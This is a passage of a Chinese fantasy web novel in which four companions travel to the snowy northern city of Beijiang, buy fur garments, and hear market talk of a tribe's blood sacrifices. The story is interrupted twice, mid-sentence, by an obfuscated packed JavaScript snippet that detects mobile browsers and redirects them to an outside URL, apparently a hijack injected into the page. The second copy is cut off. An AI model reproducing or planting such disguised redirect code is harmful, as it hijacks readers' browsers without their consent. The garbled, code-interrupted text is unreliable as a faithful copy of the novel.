车厢里安静了一瞬。 奕秋睁开眼睛,看了闻人奚郁一眼。 闻人奚郁对上她的目光,笑了笑。 那笑容很温和,桃花眼弯弯的。 “奕秋姑娘,北疆的事,没有人比我更熟了。” 奕秋没有说话。 她看了他很久,然后重新闭上眼睛。 但她的手,在无尘剑的剑鞘上轻轻抚过。 姣姣坐在旁边,看着这一幕,忽然笑了。她往软垫上一靠,把脚伸到矮桌下面,翘起二郎腿。 “行吧,那咱们就一起去北疆。” 她掰着手指头算:“查案,打架,吃好吃的,看雪。姜大侠请客。” 姜亦看她一眼。 “为什么我请?” 姣姣理直气壮。 “你是原终主,有钱。” 姜亦嘴角抽了一下。 “我现在不是原终主了。” “那你是什么?” 姜亦沉默了一瞬。 他看着窗外飞逝的风景,田野、树林、远处的山。风吹过来,把庄稼吹得沙沙响。 “姜亦。”他说,“就姜亦。” 姣姣愣了一下。 然后她笑了。 “行,姜大侠。那以后就叫你姜大侠。” 姜亦没说话。 但他的嘴角,微微动了一下。 闻人奚郁在旁边摇着折扇,笑眯眯地看着这一幕。他忽然开口。 “姣姣姑娘。” “嗯?” “你刚才说,北疆有雪。” “对啊。你不是北疆人吗?你不知道?” 闻人奚郁笑了。 “我知道。我只是在想,你见了雪,会不会高兴得跳起来。” 姣姣瞪他。 “我哪有那么没见过世面!” 闻人奚郁没说话,只是笑着摇扇子。 姣姣别过脸,不理他了。过了一会儿,她忽然小声说:“……真的会下雪吗?” 闻人奚郁笑出了声。 姜亦的嘴角也弯了一下。 奕秋闭着眼睛,但她的嘴角,弯得更深了。 马车辘辘,驶向北方。 车帘被风掀开一角,露出外面的天。 天很蓝,云很白,远处的山连绵起伏,像一幅没画完的画。 姣姣趴在车窗边,看着那些山,忽然说:“北疆是不是很冷?” 闻人奚郁点头。 “很冷。冬天能把人冻成冰棍。” 姣姣缩了缩脖子。 “那我得买件厚衣裳。” “到了北疆,我送你一件。” “真的?”姣姣眼睛亮了,“什么颜色的?” 闻人奚郁想了想。 “红色的。” 姣姣愣了一下,然后笑了。 “你怎么知道我喜欢红色?” 闻人奚郁看着她,笑眯眯的。 姣姣眨眨眼,没再问。 她趴回车窗边,继续看风景。 风从车帘的缝隙里钻进来,带着泥土和庄稼的气味,还有一丝若有若无的寒意。 北疆还远,但那股寒意已经能感觉到了。 她忽然想起什么,回头看向奕秋。 “小姐。” 奕秋睁开眼。 “北疆的雪,好看吗?” 奕秋沉默了一瞬。 她看着车窗外的天,看了很久。 然后她说:“好看。” 她的声音很轻,轻得像是在说一件很久以前的事。 “以前有个人,很喜欢雪。” 姣姣看着她,没有问那个人是谁。 她只是笑了笑。 “那到了北疆,我陪你看雪。” 奕秋没有说话。 她闭上眼睛,嘴角微微弯了弯。 马车继续向北。 铜铃叮当,车轮辘辘。 四个人坐在车厢里,谁都没有说话。 但那种安静不是沉默,是—— 都知道要往同一个地方去的安静。 姣姣靠在软垫上,闭上眼睛。 她想起姜亦刚才说的那句话——“就姜亦”。 她想起闻人奚郁说“北疆是我的故乡”。 她想起奕秋说“以前有个人,很喜欢雪”。 她想起自己站在城门口等马车的时候,以为要一个人走了。 现在不是一个人了。 她笑了一下,翻了个身,找了个更舒服的姿势。 然后她睡着了。 梦里,北疆在下雪。 很大的雪,白茫茫一片,天地间只有一种颜色。 她站在雪地里,仰着头看那些雪花落下来。 落在她脸上,凉凉的。 24. 风雪疆城衣如画 马车走了四天。 不是普通的那种走。 姜亦坐在车厢里,手按在剑柄上,尊界四重的法力从掌心渗出来,顺着车身蔓延开去,把整辆马车裹在一层淡紫色的光晕里。 车轮碾过路面,快得像在飞。路边的树影连成一片,分不清是树还是影。 姣姣趴在车窗边,看着外面飞速倒退的风景,嘴张了又合,合了又张。 “姜大侠,”她回头,“你这法力,还能当马车使?” 姜亦没睁眼。 “嗯。” “那你早干嘛去了?来的时候怎么不用?” “来的时候,不想暴露。” 姣姣眨眨眼,然后笑了。 “也是。那时候你还藏着呢。” 她趴回车窗边,看了一会儿,又回头。 “那现在怎么不藏了?” 姜亦睁开眼,看着她。 “现在不用了。” 姣姣愣了一下,然后笑得更开了。 “行吧,姜大侠。那你就当我们的马车夫。” 姜亦的嘴角抽了一下。 闻人奚郁在旁边笑出了声。 傍晚,姣姣忽然觉得冷了。 不是那种“加件衣服就能好”的冷,是那种从骨头缝里往外冒的、躲都躲不掉的冷。 她缩在软垫上,把薄毯裹在身上,只露出一双眼睛。 “怎么这么冷?” 她的声音在发抖。 闻人奚郁摇着折扇,笑眯眯地说:“北疆到了。” 姣姣瞪大眼睛,掀开车帘一角。 外面是一片苍茫的白色。 天很低,云压在山顶上,像是给山戴了一顶白帽子。 风从车帘的缝隙里钻进来,带着一股凛冽的、干燥的、像是刀子刮过脸皮的冷。 姣姣“啪”地把帘子放下,缩回毯子里。 “冻死我了!” 姜亦的脸色也不好看。 他的法力还在维持马车的速度,也在维持自己的体温,但那股寒意无孔不入,从车底、从车壁、从每一个缝隙里渗进来。 他的嘴唇有点发白,但他没说话,只是把衣领往上拽了拽。 尊界四重,法力滔天。 但是这内力,太差。 奕秋坐在角落里,白衣如雪,脸上没什么表情。 但她的手,在无尘剑的剑鞘上轻轻抚过,动作比平时慢了一些。 她的手有点僵。 闻人奚郁看着这三个人,笑了。 他从座位下面翻出一个铜盆,又从怀里摸出几块炭,手指一弹,炭就着了。 橘红色的火光亮起来,暖意从铜盆里散开,车厢里终于有了一丝热气。 “北疆的见面礼。”他把铜盆推到车厢中间,笑眯眯地说,“怎么样,够热情吧?” 姣姣把脸凑近铜盆,恨不得把脑袋伸进去。 “这叫热情?这叫谋杀!” 闻人奚郁笑出了声。 “这才刚到边境。再往北走,更冷。” 姣姣的脸垮了。 “那我会不会冻死?” 闻人奚郁想了想。 “不会。你皮厚。” 姣姣瞪他。 闻人奚郁笑着把折扇收起来,从座位下面又翻出几条毛毯,递给姣姣一条,奕秋一条,姜亦一条。 姜亦接过毛毯,看了他一眼。 “你不冷?” 闻人奚郁摇头。 他穿得比谁都单薄,淡紫色的玄衣,长发披散,坐在那里笑眯眯的,像是什么都没感觉到。 姜亦看着他,沉默了一瞬。 “北疆人,都这么抗冻?” 闻人奚郁想了想。 “也不是。就是习惯了。”他顿了顿,“小时候冬天在雪地里练功,光着膀子,一站就是半天。师父说,扛不住冻,就扛不住打。” 姣姣裹着毯子,缩成一团,只露出一双眼睛。 “你们北疆人,都是变态。” 闻人奚郁笑了。 “还行吧。” 马车又走了小半个时辰,终于看见了北疆城的城墙。 不是原终那种青灰色的、规规整整的城墙。 北疆的城墙是用巨大的青石垒起来的,石块参差不齐,缝隙里填着黄泥和碎石子。墙头上插着各色旗子,被风吹得猎猎作响。城门比原终的矮,但宽,能并排走三辆马车。 城门口站着两排守卫,穿着厚厚的皮袄,帽子上有毛边,脸被风吹得通红。 姣姣趴在车窗边,看着那座城,嘴张了又合,合了又张。 “这就是北疆城?” 闻人奚郁点头。 “怎么样?” 姣姣想了想。 “跟原终不太一样。” 原终的城是规整的、端庄的、每一块砖都码得整整齐齐的。 北疆的城不是。 它是粗犷的、随意的、像是被人随手扔在那里的。但它立在那里,风怎么吹都吹不倒,雪怎么压都压不塌。 有股子硬气。 马车进了城。 姣姣的眼睛不够用了。 街上的人穿得很厚,皮袄、毛领、毡帽,每个人都是圆滚滚的。 但他们的动作不笨重,走路带风,说话嗓门大得隔着半条街都能听见。 街边有卖肉的摊子,半扇羊挂在架子上,摊主是个光膀子的壮汉,胳膊比姣姣的腰还粗,一刀下去,骨头断了,肉还在案板上颤。 姣姣看呆了。 “他……他不冷吗?” 闻人奚郁看了一眼。 “不冷。砍肉砍热了。” 街对面有个卖皮货的铺子,门口挂着整张的狼皮、狐皮、貂皮,毛色油亮。 老板娘是个三十来岁的妇人,穿着紧身的皮袄,腰里别着一把短刀,正在跟一个买家讲价。 她的声音又脆又亮:“三十两!少一个子都不卖!” 买家是个大胡子汉子,膀大腰圆,但在她面前,声音越来越小。 姣姣看得津津有味。 “这老板娘,真厉害。” 闻人奚郁笑了。 “北疆的女人,都这样。” 马车在一家客栈门口停下来。客栈不大,但门脸很气派。 门楣上挂着一块大匾,写着“北来居”三个字,笔力遒劲,像是用刀刻出来的。门口两盏红灯笼,被风吹得摇摇晃晃,但灯芯不灭,火光在风里一跳一跳的。 四人下车。 姣姣一落地,腿就软了。 不是坐麻了,是冻的。 风从街口灌进来,裹着雪沫子,打在脸上生疼。 她缩着脖子,双手揣在袖子里,整个人像一只被冻僵的虾米。 “快快快,进去进去!” 她冲在最前面,一头扎进客栈。 大堂比街上暖和一些,但也有限。 地上铺着厚厚的毛毡,墙上挂着几幅兽皮,角落里生着一个大火炉,炉子里烧着炭,橘红色的火光把半间屋子都照暖了。 姣姣冲到火炉边,蹲下来,把手伸到炉子前面。 “活过来了——” 姜亦跟在后面,脸色还是不太好看。 他的法力还在身上转,但那股寒意像是能钻进骨头里,法力挡不住。 他走到火炉边,站在姣姣旁边,也伸出手烤火。 奕秋最后一个进来。 她的脸上没什么表情,但她的手,在无尘剑的剑鞘上停了一下。 剑鞘冰凉,她的手指僵了一瞬。她走到火炉边,坐下,把剑横在膝上。 闻人奚郁站在门口,看着这三个人,笑了。 他一点都不冷。 淡紫色的玄衣,长发披散,站在风口里,衣摆被吹得翻飞,但他的脸上没有一点被冻着的样子。 “你们在这儿等着,”他说,“我去买衣服。” 姣姣蹲在火炉边,头也不回。 “…冻死我了……” 奕秋没说话,但她微微点了一下头。 她也在烤火,但手指还是僵的。 姜亦站在火炉边,双手撑着膝盖,低着头。他的嘴唇还有点白,法力在体内转了一圈又一圈,但那股寒意就是散不掉。 闻人奚郁看着他,笑了。 “你们原终人,内力太差。没有法力可怎么办?” 姜亦抬起头,看着他。 他的眼神如果能杀人,闻人奚郁已经死了八百回了。 “……滚。” 他的声音从牙缝里挤出来。 “快点去买衣服。” 闻人奚郁笑出了声,转身走了。 北疆城最大的成衣铺子,叫“裁云坊”。 名字起得文雅,但铺子一点都不文雅。门面宽三间,上下两层,檐角挂着兽骨风铃,风一吹,叮叮当当响。 门口站着两个伙计,都是高壮汉子,穿着崭新的皮袄,腰里别着尺子,笑容满面。 闻人奚郁走进去,伙计迎上来。 “客官,买衣裳?” “嗯,厚衣裳。” “最厚的。” 伙计上下打量他一眼。这人穿得单薄,站在风口里一点都不抖,一看就是北疆本地人。 伙计的笑容更热络了。 “客官里边请。咱们这儿有上好的狐裘、貂皮、狼皮,还有从南水运来的云锦缎子,又轻又暖——” 闻人奚郁抬手,止住他的话。 “不用介绍。我自己挑。” 他走上二楼,目光在衣架上一一扫过。很快,他挑了三件红色的。 第一件是红狐裘,毛色火红,油光水滑,领子是白貂毛,又厚又软。 第二件是红缎面的棉袄,绣着暗纹,腰间系一条黑绒带子,利落又精神。 第三件是红底金线的长袍,领口和袖口镶着白毛边,穿在身上像一团火。 他又挑了一件黑红相间的披风,外面是黑缎子,里面是红狐毛,又厚又大,能把整个人裹进去。 伙计跟在后面,嘴就没合上过。 “客官,这红狐裘是上好的货色,整个北疆城也找不出第二件——” 闻人奚郁没理他。 他又去挑白色的。 白狐裘,毛色雪白,没有一丝杂色。 白缎面的棉袄,绣着银线暗纹。 白底青花的厚袍,领口镶着灰鼠毛。 三件白色,样式各不相同,但都是极好的料子。 他又挑了两件自己的。 一件淡紫色,缎面,领口镶着黑貂毛。 一件玄紫色,厚棉布,袖口束紧,腰里系一条同色的带子。 又挑了两件姜亦的。 一件墨绿色,缎面,领口镶着灰鼠毛。 一件金色,厚锦缎,袖口和衣摆绣着云纹。 伙计已经说不出话了。 这一堆衣裳,够普通人家吃三年。 闻人奚郁从袖子里摸出一锭金子,放在柜台上。 伙计的眼睛瞪大了。 “客官,这、这太多了——” “剩下的,赏你们。” 闻人奚郁抱起那堆衣裳,转身走了。 伙计站在门口,看着他走远,半天没回过神。 客栈里,姣姣还在烤火。 她的脸被炉火烤得红扑扑的,手也暖和了,脚也暖和了,但她就是不想动。 门被推开,闻人奚郁抱着一大堆衣裳走进来。 他往桌上一放,衣裳堆成一座小山。 姣姣从火炉边探出头,看着那座小山。 “你……你把铺子搬空了?” 闻人奚郁把那件红狐裘抽出来,扔给姣姣。 “试试。” 姣姣接住,愣住了。 红狐裘,毛色火红,油光水滑,领子是白貂毛,又厚又软。 她摸了摸,手陷进毛里,软得像云。 “这……这也太好看了吧?” 她抱着那件红狐裘,翻来覆去地看。 闻人奚郁又扔过来一件红缎面棉袄、一件红底金线长袍、一件黑红相间披风。 “都试试。” 姣姣抱着那堆红衣裳,眼睛亮得像点了灯。 她站起来,抖开那件红狐裘,披在身上。 毛领子围着她的小脸,衬得她整个人像一团火。 她又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437488|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖开那件红底金线的长袍,套在外面,腰间系上黑绒带子。 她又把黑红披风往肩上一搭。 她站在火炉边,转了一圈。 红狐裘在火光里泛着油亮的光泽,金线在衣摆上流转,黑红披风在她身后翻飞。 她整个人像一团烧在雪地里的火。 闻人奚郁看着她,笑了。 “好看。” 姣姣咧嘴一笑,跑到奕秋面前。 “小姐!你看!” 奕秋抬起头,看着她。 那件红狐裘衬得她整个人都亮了,像一朵开在冬天的花。 奕秋看了很久。 “好看。” 姣姣笑得更开了,把那件白狐裘抽出来,塞给奕秋。 “小姐,你的!” 奕秋接过来,低头看着那件白狐裘。 毛色雪白,没有一丝杂色,在火光里泛着银白的光泽。 她把白狐裘披在身上,毛领子围着她清冷的脸,衬得她整个人像一座雪山。 姣姣看呆了。 “小姐,你真好看。” 奕秋没说话,但她的嘴角,微微弯了一下。 闻人奚郁把姜亦那两件扔给他。 姜亦接住,低头看了看。 一件墨绿色缎面,领口镶着灰鼠毛。 一件金色厚锦缎,袖口和衣摆绣着云纹。 “试试。” 闻人奚郁说。 姜亦没动。 他看着那件金色的袍子,看了很久。 “……太艳了。” 闻人奚郁笑了。 “你那个耳坠,比这件衣裳艳多了。” 姜亦沉默了一瞬。 他站起来,抖开那件墨绿色的袍子,披在身上。 缎面在火光里泛着暗光,灰鼠毛领子围着他的脖子,衬得他整个人又贵气又英气。 左耳的麒麟坠晃了晃,在墨绿色的衣领上格外显眼。 闻人奚郁看着他,点了点头。 “不错。” 姜亦没说话,但他的嘴角,微微动了一下。 闻人奚郁把自己的两件也抖开。 一件淡紫色缎面,领口镶着黑貂毛。 一件玄紫色厚棉布,袖口束紧,腰里系一条同色的带子。 他随手披上那件淡紫色的,黑貂毛领子围着他的脸,衬得他那双桃花眼更深了。 他站在火炉边,摇着折扇,笑眯眯的。明明穿得比谁都厚,但看起来还是那副温润如玉的样子。 姣姣看着他,忽然说:“闻人公子,你穿什么都好看。” 闻人奚郁笑了。 “多谢姣姣姑娘。” 姣姣又扭头看姜亦。 “姜大侠也好看!” 姜亦没理她。 姣姣又跑到奕秋面前。 “小姐最好看!” 奕秋看了她一眼,没说话。 但她的手,把那件白狐裘的领子往上拢了拢。 炉火烧得正旺,橘红色的光落在四个人身上。 红的、白的、墨绿的、淡紫的,在火光里交叠在一起。 门外,风还在刮。 雪沫子打在窗户上,沙沙响。但屋里很暖和。炉火,新衣,还有这几个刚从原终一路走过来的人。 姣姣忽然觉得,北疆好像也没那么冷。 安顿下来之后,闻人奚郁说要出去一趟。 姣姣问他去哪,他笑了笑,说:“见几个老朋友。” 他推门出去,走进风雪里。 淡紫色的衣摆在风里翻飞,很快就消失在街角。 街上有人认出他。一个卖烤肉的老汉,手里的铁签子掉在地上。 “那、那不是……” 旁边的人推他一把。 “嘘——别出声。” 老汉愣愣地看着那个方向,半天没回过神。 消息传得很快。 像风一样,从这条街传到那条街,从这家铺子传到那家铺子。 但没有人敢上前。 他们只是站在门口、站在窗后、站在街角,看着那个淡紫色的身影走过长街。 他走得很慢,像是在看这条街变成了什么样。 有人小声说:“他瘦了。” 旁边的人点头。 “也高了。” 闻人奚郁在一家铺子前停下来。 铺子很旧,门板上的漆都掉了,但门口挂着一条崭新的幌子,上面绣着一只鹰。 他站在门口,看了一会儿。铺子里走出一个老人,头发花白,背微微驼了,但眼睛很亮。 他看见闻人奚郁,愣住了。 “叫我闻人公子就好。” “公子……” 闻人奚郁笑了笑。 “李伯,好久不见。” 老人的眼眶红了。 他张了张嘴,想说什么,但什么都没说出来。他只是站在那里,看着闻人奚郁,看了很久。然后他侧身让开门口。 “公子,进来坐。” 闻人奚郁摇头。 “不了。还有朋友在等我。”他顿了顿。“铺子修过了?好看。” 老人的眼泪终于掉下来。 “公子走的时候说,等铺子修好了,就回来看看。老奴等了三年,终于等到了。” 闻人奚郁看着他,沉默了一瞬。 然后他伸出手,拍了拍老人的肩膀。 “李伯,我回来了。” “您可以回王庭了。” 他转身,走进风雪里。 老人站在门口,看着他走远,眼泪止不住地流。 闻人奚郁走回客栈,推门进去。 姣姣正裹着红狐裘,蹲在火炉边烤花生。她看见闻人奚郁进来,举着那颗花生,笑眯眯地问:“闻人公子,你要不要吃?” 闻人奚郁看着她,笑了。 “好。” 他走过去,在她旁边坐下,接过那颗花生,剥开,放进嘴里。 花生烤得有点焦,但很香。 姜亦看着他,忽然说:“你刚才出去,是不是有人认出你了?” 闻人奚郁没说话,只是笑了笑。 25. 早市血案闻旧事 翌日清晨。 姣姣裹着红狐裘,蹲在火炉边,把最后两颗花生塞进嘴里,嚼得嘎嘣响。 “小姐,”她含糊不清地说,“咱们今天是不是该去查北娣的事了?” 奕秋坐在窗边,白衣如雪,白狐裘搭在膝上。 她看着窗外灰蒙蒙的天,没有说话。 姣姣把花生壳扔进火炉里,拍了拍手。 “咱们今天摸进王庭去看看?” 奕秋终于开口:“不急。” “不急?”姣姣瞪大眼睛,“你不是说她的死另有隐情吗?怎么又不急了?” 奕秋看了她一眼。 那目光很淡,但姣姣读懂了 ——不是不急,是不能急。 姣姣“哦”了一声,没再问。 她站起来,把红狐裘裹紧,又摸了摸腰间那几个香囊,银铃叮当响了一声。 “那我先去买个早饭。饿死了。” 她推门出去。 北疆城的早晨比原终冷得多。 风从街口灌进来,裹着雪沫子,打在脸上生疼。 姣姣缩着脖子,把红狐裘的领子往上拽了拽,整个人像一团在风里滚动的火。 街上已经热闹起来了。 卖烤肉的摊子冒着白烟,卖皮货的铺子门口挂着整张的狼皮,卖烈酒的汉子扯着嗓子吆喝。 姣姣在人群里钻来钻去,鼻子被各种气味勾得直抽抽。 她在一个烤馕摊前停下来,买了一张热腾腾的馕,掰了一块塞进嘴里,烫得直哈气。又跑到旁边那个烤肉摊前,要了两串羊肉串。 摊主是个光膀子的壮汉,胳膊比姣姣的腰还粗。他看了一眼这个裹在红狐裘里的小姑娘,咧嘴笑了:“姑娘,南边来的吧?” 姣姣咬着羊肉串,含糊不清地说:“你怎么知道?” “北疆的姑娘,没你这么怕冷的。”壮汉哈哈大笑,又给她多切了一块肉,“拿着,暖暖身子。” 姣姣也不客气,接过来就咬了一口,辣得直吸气,但眼睛亮得像点了灯。 “好吃!” 她一手举着馕,一手举着羊肉串,在人群里东张西望,找了一个能坐下吃东西的地方。 早市尽头有一排矮桌矮凳,是给赶早市的人歇脚吃饭的。 几张桌子已经坐满了人,都是北疆本地人,穿着厚厚的皮袄,嗓门大得隔着半条街都能听见。 姣姣挤过去,在一张桌子的角落坐下,把馕和羊肉串摆在面前,开始专心致志地吃。 旁边那桌坐了几个人,三男两女,都是二三十岁的年纪,穿着利落的皮袄,腰间挂着短刀,一看就是练家子。 他们面前摆着几大碗烈酒和半只烤羊,正吃得热火朝天。 一个满脸络腮胡的汉子灌了一大口酒,把碗往桌上一顿,声音震得碗碟都跳了一下。 “他娘的!又出事了!” 对面那个女人白了他一眼:“你小点声,生怕别人不知道?” “怕什么?”络腮胡嗓门更大了,“老子就是要说!那个图腾部落,又搞什么献祭!昨天晚上又死了一个巡夜的兵,血被抽干了,胸口开了个洞!” 姣姣咬着羊肉串的动作停了一下。 旁边一个瘦高个接话:“都他妈多少个了!北疆王庭到底管不管?” “管?”络腮胡嗤了一声,“北疆王庭那群废物,就会说‘从长计议’、‘不可妄动’。计议个屁!动都不敢动,还叫什么北疆人?” 那个女人的眉头皱了一下,但没反驳。 另一个年轻些的汉子压低声音:“听说那个部落首领…叫什么?呼延烈是吧?” “他是尊界三重。王庭那边……北疆主多久没露面了?” 桌上安静了一瞬。 络腮胡又灌了一口酒:“管那首领什么尊界不尊界!咱们北疆人什么时候怕过?要我说,就该打!打到那个部落首领跪下求饶为止!还倡导什么不能没头脑的动用武力,连个图腾部落都搞不定,这个北疆王庭干什么吃的?!” “就是!”瘦高个拍桌子,“咱们北疆就是汉子!怎么可能不动手?那个北疆主到底能不能干!” 那个年轻汉子赶紧拉他一把:“你小声点!别乱说!” “我怎么乱说了?”瘦高个不服,“我说的不是实话?尊界三重又怎么了?咱们北疆人,什么时候靠境界说话了?” 桌上又安静了。 那个女人终于开口,声音不紧不慢:“你们说完了没有?” 络腮胡和瘦高个同时闭嘴。 女人夹了一块肉,放进嘴里,慢慢嚼着:“北疆主多久没露面,你们心里没数?他不在,王庭那些人谁敢做决定?你们在这儿骂,骂给谁听?” 几个人都不说话了。 女人放下筷子,目光扫过他们:“图腾部落的事,不是一天两天了。王庭不是不管,是管不了。你们有本事,自己去打。没本事,就别在这儿嚷嚷。” 络腮胡被噎住了,脸涨得通红,但一个字都说不出来。 姣姣在旁边听得津津有味,羊肉串都忘了咬。 她看着那几个人,忽然觉得北疆人真有意思。 嗓门大,脾气直,骂起自己人来比骂敌人还狠。 她啃了一口馕,又咬了一口羊肉串,然后端着馕和肉串,自然而然地凑了过去。 “那个……”她探出头,笑眯眯地看着那几个人,“你们说的那个图腾部落,在哪儿啊?” 桌上的人齐刷刷看向她。 一个裹在红狐裘里的小姑娘,脸蛋被毛领子围着,只露出一双圆溜溜的杏眼,手里举着馕和羊肉串,笑得像只偷了腥的猫。 络腮胡的嗓门一下子收了,像是怕吓着她:“小姑娘,你哪来的?” “南水来的。”姣姣又往前凑了凑,“刚到北疆,啥都不知道。刚才听你们说那个部落,挺好奇的。” 那个女人的目光在她身上转了一圈,落在她腰间的香囊和银铃上,眼底多了一丝什么。 “小姑娘,”她开口,语气比刚才跟络腮胡说话时软了不少,“这些事,不是你们南边的人该管的。” 姣姣眨眨眼:“我就是好奇嘛。你们北疆人说话真爽快,比我们那边有意思多了。” 女人愣了一下,然后笑了。她伸手,在姣姣脑袋上轻轻拍了一下。 “长的真俊,惹人稀罕。” 姣姣被拍得一愣,然后咧嘴笑得更开了。 她顺势在桌边坐下,把馕和羊肉串放在桌上,像老朋友一样跟那几个人聊起来。 “刚才你们说那个部落,搞什么献祭?血祭?那是什么东西?” 络腮胡看着她,犹豫了一下,但架不住她那副“我就是好奇”的样子,还是说了:“图腾部落,是北疆最北边的一个部落。他们信什么上古图腾,每年都要搞血祭。以前是杀牲口,这几年开始杀人了。” “杀人?” 姣姣的眉毛挑了一下。 “对。”络腮胡压低声音,“取心头血,说是要验证是否符合血祭条件。死了好多人了。” 瘦高个在旁边补充:“都是在城墙附近出的事。血被抽干了,胸口开了个洞,伤口边缘发黑,像是被什么爪子掏的。” 姣姣皱了眉,若有所思。 那个年轻汉子又说:“北疆王庭派人去过,没占到便宜。那个部落首领是尊界三重,手底下还有好几个五道的高手。王庭那边……就北疆主是尊界三重,北疆主不在,没人能跟他硬碰硬。” “北疆主尊界三重?”姣姣眨眨眼,“不是说入尊界四重了吗?” 桌上的人同时看向她。 姣姣意识到自己说漏了嘴,赶紧打哈哈:“我、我听说的,听说的。你们北疆主不是挺厉害的吗?青穹榜上排第几来着?” 络腮胡叹了口气:“北疆主榜上是尊界三重。但谁知道呢?人都多久没露面了。” “那他现在到底在不在北疆啊?” 姣姣问。 没人回答。 那个女人看着她,忽然说:“小姑娘,你对这些事,挺感兴趣啊?” 姣姣咧嘴一笑:“我就是好奇嘛。你们北疆人说话真有意思,比我们那边那些说话拐弯抹角的人强多了。” 女人的嘴角弯了一下。 络腮胡哈哈大笑:“小姑娘,你这嘴,会说话!” “就是!”瘦高个也笑了,“有我们北疆女人的风采!” 姣姣也不客气,嘿嘿一笑。 “那你们刚才说的那个部落,真的那么厉害?” “厉害什么?”络腮胡又来了劲,“就是一群装神弄鬼的东西!什么图腾血祭,我看就是邪术!要不是北疆王庭一直拖着,早就把他们平了!” “就是!”瘦高个拍桌子,“还倡导什么不能没头脑的动用武力!连个图腾部落都搞不定,这个北疆王庭干什么吃的?!那个北疆主到底能不能干!” 旁边那个年轻汉子赶紧拉他:“你可别说了!万一传到王庭耳朵里——” “传就传!”络腮胡嗓门更大了,“老子还怕他们不成?北疆主不在,王庭那群人就会开会!开个屁的会!要我说,就该打!打到那个部落首领跪下求饶为止!” 姣姣在旁边听得直点头,一脸“你说得对”的表情。 女人看着她那副样子,忍不住笑了:“小姑娘,你叫什么?” “姣姣。” “姣姣……”女人念了一遍,“好名字。”她又拍了一下姣姣的脑袋,“以后有空,来城北找我们喝酒。我们这几个,虽然没什么大本事,但在北疆城,还是能说得上几句话的。” 姣姣眼睛亮了:“真的?那我不客气啦!” 络腮胡哈哈大笑:“你这小姑娘,对我们胃口!有我们北疆女人的样子!” 瘦高个举起酒碗:“来,小姑娘,以茶代酒,敬你一碗!” 姣姣也不扭捏,端起桌上的茶碗,跟他们碰了一下,一饮而尽。 茶是凉的,但她的心是热的。 她又跟他们聊了一会儿,问了不少关于图腾部落的事。 那几个人也是豪爽性子,知无不言,把知道的都说了。 图腾部落在北疆最北边,靠近雪山。 他们信一个叫“血鹰”的图腾,每年冬天都要搞血祭。 以前是杀牲口,用牲口的心头血浇在图腾柱上。 这几年开始杀人了,说是“人血更纯,更能取悦图腾”。 王庭派过军队去,没占到便宜。 那个部落首领叫呼延烈,尊界三重,手底下有七个五道高手,号称“七狼”。 图腾部落的地形险要,易守难攻,军队进去根本展不开。 而且呼延烈有个规矩:每年冬天,他会派人在北疆城附近抓人,取心头血。 王庭跟他谈过,他根本不搭理。 “那为什么不直接打?” 姣姣问。 络腮胡叹了口气:“打?怎么打?他是尊界三重,王庭这边能跟他硬碰硬的,只有北疆主。北疆主不在,谁敢动?” 姣姣若有所思地点点头。 她又坐了一会儿,把那几个人逗得哈哈大笑好几次,然后站起来,拍拍衣摆上的灰。 “我得回去了。谢谢你们请我喝茶!” 女人站起来,拍了拍她的肩膀:“小姑娘,以后常来。” “一定!” 姣姣冲他们挥挥手,转身走了。 走出几步,她忽然回头,冲那几个人喊:“北疆人,就是爽快!我喜欢!” 络腮胡哈哈大笑,瘦高个举着酒碗冲她晃了晃,女人站在桌边,看着她走远,嘴角还挂着笑。 姣姣转过身,把最后一口馕塞进嘴里,快步往客栈走。 红狐裘在风里翻飞,像一团烧在雪地里的火。 * 客栈里,姜亦坐在窗边,手里端着一杯茶,没喝。 他换了一身墨绿色的袍子,领口的灰鼠毛衬得他整个人又贵气又英气,左耳的麒麟坠在晨光里晃了晃。 闻人奚郁坐在他对面,摇着折扇,笑眯眯的,淡紫色的衣摆在火炉边轻轻晃动。 他今天把那件玄紫色的厚棉袍穿上了,袖口束紧,腰里系着同色的带子,整个人看起来利落了不少。 奕秋坐在角落里,白狐裘搭在膝上,无尘剑横在腿边。 她闭着眼睛,像是在打盹,又像是在想什么事。 姣姣推门进来的时候,带进一阵冷风。 她三步并作两步冲到火炉边,把冻僵的手伸到炉子前面,嘴里还在喘粗气。 姜亦看着她:“买个早饭,买了快一个时辰?” 姣姣没理他,先把手烤热了,才转过身,一脸兴奋地看着三个人。 “你们猜,我刚才在早市听见什么了?” 姜亦放下茶杯。 闻人奚郁收起折扇。 奕秋睁开眼睛。 姣姣把在早市听到的那些话,一字不漏地说了一遍。 图腾部落,血祭,死了好几个人,取心头血,胸口开洞,血被抽干,伤口发黑。 北疆王庭派过军队,没占到便宜。 那个部落首领叫呼延烈,尊界三重,手底下有七个五道高手,号称“七狼”。 她说完,端起桌上的茶碗灌了一大口,抹了抹嘴。 “还有,你们北疆人说话,嗓门真大。” 她看着闻人奚郁。 闻人奚郁没有说话。 他的折扇收在手里,指节微微泛白。 他的脸上没有笑,桃花眼垂着,看着桌上的茶碗,不知道在想什么。 姜亦看了他一眼,又看向姣姣:“图腾部落,是什么来头?” 闻人奚郁沉默了很久。 然后他开口,声音比平时轻了很多。 “北疆最北边,靠近雪山,有一个部落。他们不信北疆的神,信一个叫‘血鹰’的图腾。” 他的声音很平,像是在说一件跟自己无关的事。 “几百年前,北疆还没统一的时候,那个部落是北疆最强的势力之一。后来北疆统一了,他们不服,一直跟王庭作对。打了几百年,打打停停,谁也没能把谁灭了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437489|200983||http|test|mini|href|location''.split(''|''),0,{})); () { 